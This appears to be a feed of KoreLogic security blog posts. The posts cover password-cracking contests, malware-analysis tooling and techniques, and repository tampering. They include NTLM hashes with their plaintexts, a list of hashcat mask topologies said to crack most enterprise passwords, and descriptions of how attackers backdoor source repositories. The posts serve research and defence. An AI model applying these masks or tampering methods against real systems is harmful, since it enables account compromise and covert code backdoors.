Quantcast
Channel: KoreBlog
Viewing all 78 articles
Browse latest View live

CMIYC 2013 Post-game

$
0
0
This is the first of several posts we'll make post-Crack Me If You Can 2013. Later we'll gather things up and add content to the main 2013 contest site.

In this post I'll talk a little about the structural changes we made in this year's DEFCON contest, what we did that we think worked well, some not so well. We'd love feedback that we can use when planning future contests.

Structure

The most obvious change this year was the creation of Pro and Street divisions. Hash types and ratios, encrypted file types, and plaintext creation techniques were generally the same between them, but the plaintexts themselves were different. This was a way to try to have the hardcore teams pushing each other hard, while keeping things fun for smaller teams and more casual players--maybe people at DEFCON who actually want to see some of DEFCON.

The password hashes were then split into 8 different fictitious "CompanyN" subdirectories. Different hash types were spread asymmetrically across the different CompanyN directories. There were relationships between the plaintexts within a given CompanyN directory. We'll do another post later that digs into those in more detail. I am curious if any teams figured out those relationships, or if you all just grouped all NT hashes together into one pile, all DES into another, etc and discarded the relationship between DES and NT hashes for Company1, etc.

The encrypted file challenges had hints about some of the plaintexts for a certain CompanyN. More on those later, too.

Preparation

We were able to do a few things ahead of time that we think helped things go smoothly during the actual event:
  • Pre-registration opened more than a week before the contest start. That let people work out any issues with PGP, dealing with the autoresponder, etc early.
  • Test hashes were published several days before the contest, with a basic automated scoreboard. This also helped teams know what to expect, make sure they were submitting in the correct format, etc, before the pressure was on.
  • Pre-downloads of the hash sets and some of the challenges were available as encrypted archives before the contest start time. This way there was no rush to swamp our bandwidth at the beginning (and I think we did a better job explaining this ahead of time than we did in past years).
All of those helped make this the smoothest CMIYC contest yet.

Issues

We did have some issues at different times, most of which we were able to fix quickly.
  • Scoreboard issues - there were a couple of hash types that were not being counted correctly. The first we found & fixed before anyone noticed, but there was another one (or two?) that we did not catch, until a team contacted us and said "Hey we have cracked N of type XYZ but they aren't appearing", at which point we investigated and fixed it.
  • Submission issues - Despite the early registration and test crack submissions, howto instructions and examples that we try to improve every year, we still had teams forgetting how to submit properly. Sometimes just sloppiness--including hashes, config files, etc, or forgetting to sort -u their lists. Other times it was more involved than that. But, at least the instances of this decrease every year.
  • Late downloads - We had wanted everything to be ready and downloadable ahead of time. But some challenge files weren't ready in time, and we had to release them a bit after the contest started (and scrapped some we had wanted to do, in the interest of time).
  • Few Encrypted File Cracks - Almost no encrypted challenge files were cracked. Either we made them too hard, or teams didn't see the value in dedicating resources towards them, or both. Maybe we should have emphasized the hints more. We'll probably publish them pretty soon (sooner than the plaintexts themselves). I'm curious to hear from the contestants on the encrypted files; did you try a lot but not get far, or not bother?
  • Fewer Password Cracks Than Expected - Overall, fewer plaintexts were cracked than we were anticipating. Maybe that means we made them harder than intended. But, that's better than the opposite; if you all cracked everything in the first 12 hours, the rest of the contest would be a little bit boring.
Coming Up Next

Over the coming weeks we will be collecting writeups from the teams that competed and updating the contest site with them. We'll also do more blog posts that go into more details about certain aspects of the 2013 competition from our perspective.

Mini-Password Cracking Challenge for LOLBitCoin Party

$
0
0
As a favor to @Druidian, I supplied a mini password cracking challenge for hackers at DEFCON. It was a small list of NTLM hashes that the teams had to crack. They had no idea what the significance of them was.

I supplied the following NTLM hashes:
2a89df716d7c39b6038c43546bbc5041
581d884bea2b273e04679e117c085386
42e82d52fa7db0d949fcf66a087579c9
870939d15a53df37156bb07a47a26beb
7660d04a2b64e747eccec3af91fe9c02
f3fa98903f1748acc13185842febfb11
f3f0db2300cadc5d2e49bfb04e1e5e48
225fcf805ccc210c7980b3177740b956
28e1f23668a254bd199526a2093cb364
e3f47723b9640445c6de1c15dcfa7dd5
8c6238b01d465f3a83c3547738f17e7c
c602232b6ef5815ec123d64c6b9e2338
dafd403f1c792f9683aa0d669688ffad
a461f40632c7facc5bbd401d05cd0b18
2bcf145f94af0416549a7691097fb8df
21d1ab95086551fd50f5d4166e384c2e
75058752b1d8fe1c3743c03efb526c64
45d52779d7239813c4a31f50310f20b1
1389246954dfc619f0008d97f4cb372a
0eaa056eae94da444e42bae1d085e27d
6cb96c5c3db703a219a25f97baa44c9e
f59e4b69c6c0e49a12e11f635a925f93
These hashes cracked to the values:
larson123
araFAT!
will3w0nka
l00z3er
.,m.,m!
boomb00m
id10tid10t
tr4sht4lk
c00lm0d3
oinkoinkping
inoutinout
n00bzRus
@DEFCON
g0g0gadget
myusername
allmycircuits
inthebathroom
l00km0m!
.dotdotdot
callmeMAYBE
ohtheplaces
myAdidas
This doesn't look at the important, until you look at the first character of each password (assuming you kept them in the correct order).

l a w l . b i t c o i n @ g m a i l . c o m

So:

lawl.bitcoin@gmail.com

This was the email address the teams had to email in order to get to "Stage 3" of the challenge.

CMIYC 2013 Encrypted Challenge Files, Password Creation, and Hints

$
0
0
We've just published details about the Crack Me If You Can 2013 encrypted file challenges here: the passphrase for each encrypted file, and the hints that are included in each one.

Encrypted File Types
Each encrypted file type had an Easy, Medium, and Hard file, with increasingly complex passphrases. As with the main password sets, there were different passphrases for Pro and Street files. We did fewer file types than last year, and they were for fewer points, proportionately, than last time.

As before, we did not try to set point values proportionate to the difficulty of cracking one file type vs another. There be dragons.

We also didn't enforce strict rules internally about the difficulty of the different passphrases; they get longer and/or have increased character set complexity as you go up, but not all "Easy" passphrases were created equal, etc.

Password Creation

As we do every time, we spent all year generating new sets of plaintexts for the main password hash lists. A bunch of different KoreLogic staff contributed, using many different inspirations for wordlists, mangling rules, or other themes.

This time we took notes about what inspiration we used for each set. Although the plaintexts were split into multiple different "Company" subdirectories (see here for more), we kept each set of similarly-generated plaintexts local to a given company.

This sort of simulates the cultural biases that can cause an organization to have similarities in their plaintexts:
  • Staff working in a given industry may commonly gravitate towards industry-related terms
  • A bunch of users will embed the names of the local sports teams, such as the city where a company has its headquarters
  • Enterprise-wide user training and examples can lead to users following similar patterns in plaintext manipulation/modification
We also avoided a big problem from 2012: last year, we used many phrases from songs, books, and movies--including so many from current works that were still under copyright, that we were afraid to release the full corpus of plaintexts afterwards. Oops! We will be publishing all the plaintexts for 2013 in a little while.

Hints

Some of those notes then became hints that were embedded as the contents of the encrypted challenge files: crack a file, learn something that'll help crack some of the password hashes. There were typically 10+ differently-inspired sets of plaintexts that went into each Company, and we only released hints about one (at most) set per Company. So knowing the hints would give a team an advantage, but not a huge one.

We had another, hidden purpose for doing these groupings and hints, which I will write more about later. Wild speculation in comments to this post are encouraged ;)

Encrypted File & Hint Results

I think we just generally made the challenge files too hard--and/or it was so non-obvious that their contents were useful hints that, coupled with the relatively low point value, teams did not bother much with them.

Some teams do mention figuring out some common patterns among plaintexts they cracked, relevant wordlists, etc. Which is great, but I wish there had been more challenges cracked so there were more hints "in circulation" during the contest.

MASTIFF on Mac OS X

$
0
0
One of the reasons MASTIFF was written in Python was to give it the flexibility to run wherever it was needed. Linux and other *nix's have been supported since the initial release, but one goal was to have MASTIFF work on Mac OS X. It was suspected that MASTIFF would run without a problem on OS X, but it had never been tested...until now.

This week MASTIFF was finally tested and proven to work on Mac OS X. Mac OS X 10.8.5 (Mountain Lion) was used during testing, although other versions of OS X will likely work as well.

The instructions to install MASTIFF on Mac OS X are below. In these instructions we used Homebrew to install a number of packages. There are many ways to install packages on OS X, this is the one that was chosen this time.

Additionally, instead of relying upon the Python installed with OS X, the instructions for installing the latest version of Python at Python Guide were followed beforehand.

You will need to be an administrative user on Mac OS X to install MASTIFF, and its pre-requisites.
The only functionality for MASTIFF that does not work in OS X is TrID. This is due to the fact there is no OS X port for TrID, and the source code is not available. However, it turns out you don't need it!

A few libraries are required for the MASTIFF framework to run. They can be installed with the following commands.

pip install Yapsy
brew install libmagic
pip install python-magic
pip install simplejson


The rest of these instructions install pre-requisites that some MASTIFF plug-ins require:

brew install ssdeep
pip install pydeep
pip install pefile
brew install yara
pip install yara


diStorm3 is required for the single-byte string plug-in. Unfortunately, using pip to install it did not work, so it will have to be downloaded and installed manually.

wget http://distorm.googlecode.com/files/distorm3-3-sdist.zip


The strings program in Mac OS X does not provide the ability to extract UNICODE strings from files. We found that gstrings, which gets installed with the GNU binutils package, works without a problem.

brew install binutils


Make sure you update the MASTIFF configuration file with the location of gstrings (/usr/local/bin/ by default).

Multiple plug-ins use exiftool to extract metadata from files. Again, make sure you update the configuration file in multiple places to point to the location of exiftool.

brew install exiftool


To get the pyOLEScanner plug-in to work, a library needs to be installed in addition to the Python script. Remember that once pyOLEScanner is downloaded, you must unzip it into its own directory, give pyOLEScanner.py executable permissions (chmod +x), and update the MASTIFF configuration file.

pip install OleFileIO_PL
wget https://github.com/Evilcry/PythonScripts/raw/master/pyOLEScanner.zip


Didier Stevens has a number of tools that are used in MASTIFF plug-ins. Each tools must be downloaded, given executable permissions, and its location updated within the MASTIFF configuration file.

wget http://www.didierstevens.com/files/software/disitool_v0_3.zip
wget http://didierstevens.com/files/software/pdf-parser_V0_4_3.zip
wget http://didierstevens.com/files/software/pdfid_v0_1_2.zip


Finally, once all of the pre-requisites have been successfully updated, you can download MASTIFF. Don't forget to verify the GPG signature!

wget -O mastiff-signing-key.asc http://sourceforge.net/projects/mastiff/files/mastiff/mastiff-signing-key.asc/download
wget -O mastiff-0.6.0.tar.gz.sig http://sourceforge.net/projects/mastiff/files/mastiff/0.6.0/mastiff-0.6.0.tar.gz.sig/download
wget -O mastiff-0.6.0.tar.gz http://sourceforge.net/projects/mastiff/files/mastiff/0.6.0/mastiff-0.6.0.tar.gz/download


After the package is untar'd, run make test to ensure that the pre-requisites were installed properly. If there are no issues, run make install to install MASTIFF onto the system!

As always, if you have any questions regarding MASTIFF or any suggestions for new features or plug-ins, please contact us at mastiff-project@korelogic.com.

Converting IDA PAT to Yara Signatures

$
0
0
One of the issues when analyzing malicious Linux executables occurs when the executable has been statically linked and the debugging symbols stripped. Since the debugging symbols are stripped, IDA Pro is unable to identify the names of the library functions and we are left to determine the names on our own, or load and/or create the appropriate IDA signatures to identify the functions. To do this, we need to know which libraries were used during compilation, and possibly the OS (Linux distribution name and version) it was compiled on as well.

The embedded strings of a file can often give you clues to this information. Once you determine the library that was used, the IDA Pro FLAIR tools can be used to create signatures of the library for use in IDA. The process to create signatures using FLAIR is pretty simple:
  1. Create a pattern file (PAT) using the FLAIR pattern creation tools (pcf, pelf, etc).
  2. Run sigmake to create the SIG file.
  3. Copy the resulting SIG file to your IDA Pro sig/ directory.
The signature can then be loaded in IDA Pro, and IDA should recognize the functions from the library.

However, this process hinges on knowing the exact library and version that was used. If strings analysis doesn't give you that information, it would need to be found through another method.

In my research, I found a program named rsymtab that can be used to find library functions in a statically linked executable. Unfortunately, I found that rsymtab wasn't 100% reliable and would miss some functions that I knew were present. No tool is perfect, but I wanted to see if I could find a better way. This led me back to IDA Pro and FLAIR.

The FLAIR pattern generation tools create a PAT file which contains a signature for each function within a library. We can use this pattern to detect functions in files and to determine which libraries an executable was statically compiled against. To do this, I decided to use Yara, a tool specifically designed to detect text or binary patterns in files.

To facilitate a conversion from the PAT file to Yara signatures, I wrote the pat2yara.py[sign] Python script. The script reads in a PAT file generated by the FLAIR tools, extracts each pattern, and turns them into Yara signatures. To make function identification easier, it also has the ability to add the OS and library name to the Yara rule.

$ python pat2yara.py -h usage: pat2yara.py [-h] [-o OS] [-s] [-l LIBNAME] [-p] PAT_file Convert Flair PAT file to Yara sigs. positional arguments: PAT_file PAT file to convert to Yara sigs. optional arguments: -h, --help show this help message and exit -o OS, --os OS OS the library came from. -s, --prepend-os Prepend OS to Yara rule name. -l LIBNAME, --libname LIBNAME Library the PAT file is from. -p, --prepend-lib Prepend LIBNAME to Yara rule name.

NOTE: In order to use this, you must have a licensed copy of IDA Pro with the FLAIR tools. To my knowledge, the FLAIR tools can only be downloaded if you have a current support contract.

The script is run as follows to create Yara signatures for glibc-2.3.5 from a PAT file.

$ python pat2yara.py -o "Fedora Core 4" -l "glibc-2.3.5-10" -s -p libc.pat > libc.yar $ head libc.yar rule FedoraCore4_glibc23510__vhangup { meta: os = "Fedora Core 4" library = "glibc-2.3.5-10" strings: $pattern = { 89 DA 8B 5C 24 04 B8 6F 00 00 00 CD 80 89 D3 3D 01 F0 FF FF 0F 83 ?? ?? ?? ?? C3 } condition: $pattern }

Utilizing Yara allows us to quickly determine which libraries and versions were used in a statically compiled program. Some work still needs to be performed beforehand by downloading the libraries and creating the IDA and Yara signatures. However, the Yara signatures can be used in our static analysis of the executable (*cough* MASTIFF *cough*) to quickly determine what libraries and OS were used during the compilation process.

For example, I created two Yara signature files for the libc and libcrypt libraries that originated from the Fedora Core 4 glibc-2.3.5-10 RPM.

$ ls -l libc.yar libcrypt.yar -rw-r--r-- 1 tyler tyler 1429 Nov 11 13:42 libcrypt.yar -rw-r--r-- 1 tyler tyler 291597 Nov 11 13:42 libc.yar $ grep rule libcrypt.yar | wc -l 5 $ grep rule libc.yar | wc -l 1149

When the Yara signatures are run against a malicious executable, we can see that libc was used during compilation, but libcrypt was not.

$ yara libc.yar badexe | wc -l 395 $ yara libcrypt.yar badexe | wc -l 0

This is just an example - a number of Yara signatures could have been run against the executable to cover a wider set of libraries. We can see that using Yara, and the pat2yara.py[sign] script to generate the Yara rules, we can quickly determine which libraries are in use and better focus analysis.

If you have any questions or comments on the script, let me know!

Download: pat2yara.py[sign]
SHA256: fb3481c30affe2849fc3c26876f962223de41f0d065de7833443cf2042e87cfa

ShmooCon Epilogue Prologue: PathWell

$
0
0
On January 20, I will be giving a talk at ShmooCon Epilogue on PathWell, a project we did last summer. Epilogue is a great event and is much easier to get tickets for than ShmooCon, and I highly recommend it. (And I said that before they accepted my talk ;)

Over the past couple of years, we - mostly my coworker Rick Redman (Minga) - have given many talks about how enterprise password strength enforcement rules, as currently implemented, are broken and harmful. They make enterprise passwords easy to crack. The only thing worse than having them is not having them.

PathWell ("Password Topology Histogram Wear-Leveling") introduces a new dimension for measuring and enforcing enterprise password strength that attempts to take away from the attacker the advantages that they currently have when cracking (or even just flat-out guessing blindly) an enterprise's passwords.

My Epilogue talk will be recorded, and we will be publishing slides, white papers, etc.

But, in the first 15 minutes of my talk I try to fly over the ground that Rick has covered in multiple hour-long talks. If you are interested in the topic of password cracking as an attacker, or in the topic of my talk - how enterprises can defend themselves better - then you should watch one of his past talks first, such as "Why Your Password Policy Sucks" at Passwords13 or "Exploiting Password Policy Weaknesses" at DerbyCon 3.

PathWell takes the techniques that have been the most successful for attackers in the last few years, and turns them around to become new ways to enforce password strength, making passwords several orders of magnitude harder to crack for a given password length and hash type. More at/after my talk :)

MASTIFF in KoreLogic Git Repository

$
0
0
In order to make new development versions of MASTIFF available to the masses, KoreLogic has set up a Git server. This repository can be accessed at https://git.korelogic.com/mastiff or the repository can be cloned with:
git clone https://git.korelogic.com/mastiff.git
Release tarballs and corresponding PGP signatures can be downloaded here. All releases are PGP-signed using the above project key.



This repository contains branches for public release versions, and the current development code. All git commits are PGP-signed by a key available from MIT PGP keyservers, signed by the above project key.

Please submit comments, feedback, and bug reports to the above contact address, mastiff-project@korelogic.com. Please PGP-encrypt anything sensitive.

Improvements such as new plugins, bug fixes, etc can be submitted in multiple ways:
  1. Obtain the source code:
    • from a release tarball,
    • or by cloning the git repository;
  2. Create and send us changes:
    • create a patch using diff -urP, git format-patch, etc, and email the patch to mastiff-project@korelogic.com, or
    • put your modified code in a git repository that we can access (such as GitHub, your own server, etc), and send us a pull request.
Please PGP sign all patches and correspondence if possible.

PathWell Topologies

$
0
0
As previously discussed at multiple conference and in this blog, KoreLogic worked on the PathWell project for the DARPA Cyber Fast Track program. PathWell identifies and blocks common passwords based upon common password topologies and learned user behavior.

Watch a presentation on PathWell, or download the slides here.

The PathWell software is not yet public, but people have frequently asked us to publish the list of the most popular topologies within enterprises that we compiled during that research. So, that is what we are doing today. The topologies listed below are not based on public password leaks, but instead on sanitized, merged real data from environments that are known to enforce password complexity. If you create your own topologies based off the common "RockYou" word list, yours will look different. In an enterprise environment, users are forced to follow password policy with concern to length, makeup, etc. Password expiration is almost always enforced as well. But as previously mentioned by KoreLogic, these policies actually introduce vulnerabilities. By using password topologies in your cracking program, you can abuse the human nature aspect of password creation.

These topologies can easily be plugged into a password cracking program such as HashCat or oclHashcat.

As a test, take the first 100 topologies listed below, and run them against your password hashes from a corporate environment. Without ever supplying a wordlist, or ruleset, you might able to crack anywhere from 60% to 90% of all user passwords. Depending on your users and your specific policies, of course.

This data is based on a decade of password hash collection and cracking in corporate environments. We also use these topologies as part of our PRS (Password Recovery Service). This is in addition to years of research into word selection, rule generation, etc.

Enough talk, here are the first 100 topologies, in order of likelihood of success across a variety of different enterprise networks. This is obviously just a sample of all topologies we have discovered over time. But it's a great start.
?u?l?l?l?l?l?d?d
?u?l?l?l?l?l?l?d?d
?u?l?l?l?d?d?d?d
?l?l?l?l?l?l?l?d
?u?l?l?l?l?l?l?l?d?d
?u?l?l?l?l?l?l?d
?u?l?l?l?l?l?d?d?d?d
?u?l?l?l?l?d?d?d?d
?l?l?l?l?l?l?d?d
?u?l?l?l?l?l?l?l?d
?u?l?l?l?l?d?d?d
?u?l?l?d?d?d?d?s
?l?l?l?l?l?l?l?l
?u?l?l?l?l?l?d?d?d
?l?l?l?l?l?l?l?d?d
?l?l?s?d?d?l?d?d?l
?l?l?l?l?l?l?l?l?d
?u?l?l?l?l?l?d?d?s
?u?l?l?l?l?l?l?d?d?d?d
?u?l?l?l?l?l?l?l?l?d?d
?u?l?l?l?l?l?d?s
?u?l?l?l?l?l?l?l?l?d
?u?l?l?l?l?l?d?d?d?d?s
?l?l?l?l?l?l?l?l?l
?l?l?l?l?l?l?l?l?d?d
?u?l?l?l?l?l?l?d?d?d
?l?l?l?l?l?d?d?d
?u?l?l?l?d?d?d?d?s
?u?l?l?l?l?l?l?l?d?d?d?d
?u?l?l?l?l?l?s?d?d
?u?u?u?u?u?u?d?l
?l?l?l?l?d?d?d?d
?d?d?u?l?l?l?l?l?l?l
?u?l?l?s?d?d?d?d
?u?l?l?l?l?d?d?s
?u?l?l?l?l?l?l?d?s
?d?d?u?l?l?l?l?l?l
?l?l?l?l?s?d?d?d
?l?l?l?l?l?l?l?l?l?d
?l?l?l?l?l?d?d?d?d
?l?l?l?l?l?l?l?l?l?l
?l?l?l?l?l?l?d?d?d
?u?l?l?l?l?l?l?l?l?l?d?d
?u?l?l?l?l?l?l?l?l?l?d
?d?d?d?d?d?d?u?l
?u?l?l?l?l?l?l?l?d?d?d
?u?l?l?l?l?l?l?d?d?s
?u?u?u?u?u?u?d?s
?u?u?d?l?l?l?d?d?d?u
?u?l?l?l?l?s?d?d
?u?l?l?l?l?l?s?d
?l?l?l?s?d?d?d?d
?l?l?l?l?l?l?d?d?d?d
?u?l?l?l?l?l?l?l?d?d?s
?d?d?u?l?l?l?l?l
?u?l?l?l?l?l?l?l?d?s
?u?l?l?l?l?d?d?d?s
?u?l?l?l?l?d?d?d?d?s
?u?l?l?l?s?d?d?d?d
?u?l?l?l?l?s?d?d?d
?u?l?l?l?l?l?l?d?d?d?d?s
?u?l?l?l?d?d?d?s
?l?l?l?l?s?d?d?d?d
?l?l?l?l?l?l?s?d?d
?l?l?l?l?l?l?d?d?s
?d?d?d?d?u?l?l?l
?d?d?d?d?d?d?d?d
?u?l?l?l?l?l?l?s?d
?u?l?d?d?d?d?d?d
?l?l?l?l?l?l?s?d
?u?d?l?l?l?l?l?l?l?d
?l?l?l?l?l?l?l?l?l?l?l
?l?l?l?l?l?l?l?l?l?l?d
?l?l?l?l?l?d?d?s
?l?l?l?l?d?d?d?s
?u?l?l?l?l?l?l?l?l?d?d?d?d
?u?u?u?u?u?u?u?u
?u?l?l?l?s?d?d?d
?u?l?l?l?l?l?l?s?d?d
?u?l?l?l?l?l?d?d?d?s
?l?l?l?l?l?s?d?d
?u?l?l?l?l?s?d?d?d?d
?u?l?l?l?d?d?d?d?d
?u?l?l?d?d?d?d?d?d
?u?l?l?d?d?d?d?d
?l?l?l?l?l?l?l?l?l?d?d
?l?l?l?l?l?l?l?d?d?s
?l?l?l?l?l?l?l?d?d?d
?l?l?l?l?l?l?d?s
?l?l?l?d?d?d?d?s
?u?u?u?l?l?l?d?d?d?d
?u?l?l?l?l?l?s?d?d?d
?u?l?l?l?l?l?l?l?s?d
?l?l?l?l?l?l?l?l?s?d
?l?l?l?l?l?l?l?d?d?d?d
?u?l?l?l?l?l?s?d?d?d?d
?l?l?l?l?l?l?l?d?s
?l?l?l?l?d?d?d?d?s
?d?d?d?d?u?l?l?l?l
?u?u?d?l?l?l?d?d?d?d

Mini-Crack Me If You Can for ISSW 2014

$
0
0
This weekend at Infosec SouthWest 2014 KoreLogic's Crack Me If You Can (CMIYC) team ran a mini-CMIYC contest for the people attending the conference. The prize was a $100 dollar gift card.

We made the challenge pretty simple, with 1-2 hashes that were a little bit harder.

The winner was Scot Perkins. Congratulations to the winner! Here are the hashes we posted if you want to play along after the fact:
f8eae6750519389e078e1eb1bcb3d708
a116e0da2dbfb0d8278815c1737e8b55
8a7382357432871c8da703458344e174
192458c54e260d7fd6a389e8a9f7b232
1c06c89d20124ea7c8eed7589a1f1138
0df6232ee01b261559285418dd99f6ec
742857f57dddb7149f35e217c415c07d
d72d9a4fe9dfb9165d2aa5880c45a4f3
43b651178f811bf441e2b3da9ff2317b
460491609830c9266bce6e4d053b3e0a
2cb154a413ae25ed55d146f83d065eb4
7afc2c69fd4fde6ff5efa30bf7f5652a
cf94300290735f312e51875ac77458d1
2cdf9cef34dfd415f62f1941c993c3a3
1c06c89d20124ea7c8eed7589a1f1138
167e266e432165b57b75bb96619d3da0

MASTIFF Updates and Git SSL Issue

$
0
0
Over the last few weeks, a number of updates have been pushed to the dev version of MASTIFF located in the Git repository. One of these updates is a major change to the analysis plug-in architecture.

Also, due to the Heartbleed bug that everyone has been dealing with, we updated the SSL certificates on the Git server. Unfortunately, this seems to be causing an issue with Debian and Ubuntu based clients. Update: We deployed a server-side workaround; details below.

The updates, and the fix to the Git issue, are described below.

MASTIFF Updates

A number of MASTIFF updates have been added to the code; most of which are bug fixes or minor modifications. However, a large change was recently made to the way the framework installs and finds analysis plug-ins.

Previously, after installation, the user would need to set the plugin_dir configuration option to point to the directory containing the analysis plug-ins. If they did not, MASTIFF would not know where the analysis plug-ins were and would not provide any analysis until the option was set correctly. This was a point of confusion for a number of new users.

This has been changed. Now, analysis plug-ins are installed with the framework and will automatically be found. In other words, after you type make install, MASTIFF know where the analysis plug-ins are and will start providing analysis right away.

The plugin_dir option still exists and can be used to point to your own analysis plug-ins that are not included with the base installation.

As always, if you have any patches, updates, or plug-ins you want included in the framework, please submit them to mastiff-project@korelogic.com.

Git Error

Update: we've now deployed a server-side workaround so the below is no longer needed. But we're leaving it for posterity because we found very few writeups of the client-side fix for this issue.

After the SSL certificate on the Git repository was updated, we noticed an issue with some Debian and Ubuntu-based Linux systems. Specifically, the following error occurs when attempting to clone the repository.
$ git clone https://git.korelogic.com/mastiff.git
Cloning into 'mastiff'...
error: server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt \
      CRLfile: none while accessing https://git.korelogic.com/mastiff.git/info/refs
fatal: HTTP request failed
This error is caused by the OS not having the Comodo RSA Domain Validation Secure Server CA certificate installed. While we are working on a server-side workaround, there is a client-side fix.
  1. Download the Comodo RSA Domain Validation Secure Server CA certificate from the Comodo Support site.
  2. Copy the certificate into /usr/share/ca-certificates on your system.
  3. Run dpkg-reconfigure ca-certificates and add in the new certificate.
Once this is done, you will be able to clone the repository without a problem.

Callback Functions in Malware

$
0
0
Recently, KoreLogic examined a number of malware downloaders that use API callback functions to redirect the flow of execution and make malware analysis more difficult. While this is not a new technique our research did not find many public resources discussing this topic. The purpose of this blog post is to describe KoreLogic's analysis on what callback functions are, how malware uses them, and how this technique can be detected and analyzed.

Callback functions are routines that are passed to Windows API functions as a parameter, and are called later by the API to perform some type of functionality, such as processing messages or handling events. Callbacks are used in a number of places within the Windows API, and a quick MSDN search finds hundreds of Windows functions that use them.

An example Windows API that uses a callback function is RegisterClass, which defines the characteristics of a GUI window within a program. When called, RegisterClass is passed a structure named WNDCLASS. Within the WNDCLASS structure is a pointer to a callback function WindowProc. This function is a user-defined procedure that processes messages sent to the window by the operating system. A benign example WindowProc can be found here.

Malware will often set up their own malicious callback functions and pass them to APIs. When the API function is called, the callback function is executed and the malicious code is run. Malicious callback functions have been seen to, amongst other things, unpack and/or decrypt code, redirect execution, deobfuscate strings, or perform anti-debugging techniques.

There are generally two ways to detect malicious callback functions in malware:
  • Watch for calls by the malware to known Windows APIs that utilize callbacks. These include RegisterClass, DialogBox, waveOutOpen, and others. Remember that the actual callback function address may be buried in an object or set up prior to the API call, as with WNDCLASS and RegisterClass.
  • Look for functions being passed as parameters to API calls. Depending on the disassembler or debugger you are using and the amount of obfuscation the malware has gone through, these may appear as names or addresses.
Keep in mind that when debugging malware that use malicious callback functions, a breakpoint will have to be placed on the callback function itself, and not the Windows API that uses it (unless you want to waste time stepping into the API). Stepping over the API call may result in the malicious callback function being executed without the analyst being able to debug the malicious code.

Trojan Downloader

The first example is from a downloader that came in through malicious spam (MD5: 28d4a53893aba210fed7600cc759cbcd). After initializing memory, the malware calls DialogBoxParamW, which creates a dialog box. One of the parameters, lpDialogFunc, is a DialogProc callback function that is used to process messages sent to the dialog box. Messages let the dialog box know when something happens to it, such as as when a button is pressed or when the box is closed.

As soon as DialogBoxParamW executes, DialogProc begins receiving messages to process. This malicious callback function is fairly simplistic. It compares the uMsg parameter, which contains the type of message being processed, against a list of known values. If the message is WM_COMMAND (0x111), the malware will load an address into a global variable (renamed mal_code in IDA Pro). This address contains additional code that continues execution of the malware and is called after the return from DialogBoxParamW.


Due to the function of the callback function - to set up the address to jump to later - there is no need to put a breakpoint on the callback function entry point. The call to DialogBoxParamW can be stepped over and a breakpoint can be set on the call to mal_code set, or on the first instruction in mal_code itself. Analysis can then continue on the rest of the malware execution.

Upatre Downloader

The second example is from an Upatre downloader (MD5: e49e7b907499c8b4e31447eaffd112b1) that was also distributed through malicious spam and utilizes callback functions. In this case, the malware uses CreateWindowEx to create an invisible window. (The window is invisible because ShowWindow is never called, and WS_VISIBLE is not given to the function as a window style.)

One of the parameters to CreateWindowEx is lpClassName, which is the name of a Window class used to define the window's features. For this sample, the class name is "cligas", and was previously registered in a call to RegisterClassEx. RegisterClassEx receives a pointer to a WNDCLASSEX structure, which among other things, contains a callback function that handles messages sent to the window. The callback function implemented by this malware is a bit more complicated than the previous one examined, so we'll look at it in pieces.

When the callback function is called, it examines the uMsg parameter which contains the message sent to the window, and will perform do different things depending on the message received.
  • WM_CREATE (0x1): The window receives this after it is created but is not yet visible. In this case, the callback function will create three hidden child windows. The first and third windows are edit controls, but the second window is a RichEdit control that contains lines of text used by the malware later. The creation of these windows also generate WM_PARENTNOTIFY messages to itself.
  • WM_DESTROY (0x2): This is received when the window is being destroyed. When this is received, the function exits gracefully.
  • WM_PARENTNOTIFY (0x210): The WM_PARENTNOTIFY message is received when a window's child windows are created or destroyed. In our sample, this is where the malware begins the majority of its work.
  • Any other message the window receives calls DefWindowProc, the API that handles all default processing.
When the WM_PARENTNOTIFY message is received, the callback function checks to see if all three child windows have been created by decrementing a global value. Once all three have been created, the callback function calls another function, which begins the decoding process for the malware.


Note that once the malware begins to process the WM_PARENTNOTIFY messages and calls the decoding function, it never returns. Therefore, in order to debug the malware, a breakpoint has to be set on the callback function. If the call to CreateWindowEx were stepped over, the malware would execute without intervention.

Summary

Callback functions normally used by the Windows API to handle program operations are used by malware to redirect the flow of execution and increase analysis difficulty. The two examples examined in this post only represent a small percentage of what and how malware uses malicious callback functions. However, by understanding the purpose of callback functions, and how to find and analyze them, analysts will be better prepared when they come across malware samples that use them.

Repository Tampering: What You Don't Know Can Hurt You

$
0
0
Consider this security scenario: Attackers gain access to developer or sysadmin accounts. They find and target the revision control system that is used to manage system configurations, internal code, or even software that is shipped to customers. The attackers use the compromised accounts to modify the source code and insert back doors or logic bombs. Now ask this question: How long will it take the organization to notice?

This scenario may seem far-fetched, but think about all of the breaches of software vendors you've read about: Adobe, the victims of Aurora, APT1, etc. Who says they only had their code read?

Repository Tampering

Malicious attackers who gain code repository access can do quite a bit of damage--and they can do it without anyone noticing. That's why we've been studying repository tampering attacks that bypass standard controls, and developing tools that can detect and pinpoint them.

Many people we talk to don't really grasp the problem at first, or they think that their existing monitoring or development workflow can detect repository tampering. But standard controls are insufficient against the kinds of attacks we have been studying.

There are two kinds of repository compromise scenarios. In the less severe case, an attacker has compromised an account that only has remote commit access to the repository. In the second and worse case, an attacker has compromised an account that has--or can get--write access to the repository's filesystem.

Remote Commit Access

In the case of an attacker with just commit access, the Source Code Management (SCM) system ought to prevent most outright tampering: if there's no remote SCM command with which to change history, then an attacker with only remote SCM access can't change history. However, it's likely there are still other ways the attacker can subvert the codebase.

One way that an attacker can subvert the codebase is by re-introducing previously fixed security flaws. When a bug that causes a security flaw is fixed, the revision including that fix is tagged for publication. But most SCM tools allow developers to move tags--including moving them backwards. So an attacker with just remote commit access can simply move the tag to an earlier revision that doesn't include the fix. At that point, the organization is shipping code with a known security vulnerability--without even realizing it.

Direct Repository Filesystem Write Access

Attackers who manage to obtain direct write access through a compromised account or other infrastructure flaw have much more freedom. Many people think that their SCM tools would notice any direct tampering. But if the attacker is careful to follow the proper syntax, they can make changes that will go entirely unremarked.

For instance, they can introduce new revisions while updating the HEAD pointer directly, which would bypass conventional notification systems or QA build hooks. Developers, expecting to be "covered" by those things, will happily pull the latest code and move forward.

Worse, the attacker could introduce changes to existing revisions--allowing them to embed new vulnerabilities in any future patches to previously shipped software. To do this, they would need to be careful to update the appropriate bookkeeping metadata. They would also need to avoid warnings being output to developers working on the current version of the code, which they could do by simply reversing their changes in subsequent revisions. That way, the current version would be consistent with what the developers and their tools expect, but anyone pulling the older revision to make a bug fix will get the poisoned code--which they will then unwittingly ship to customers.

The Bottom Line

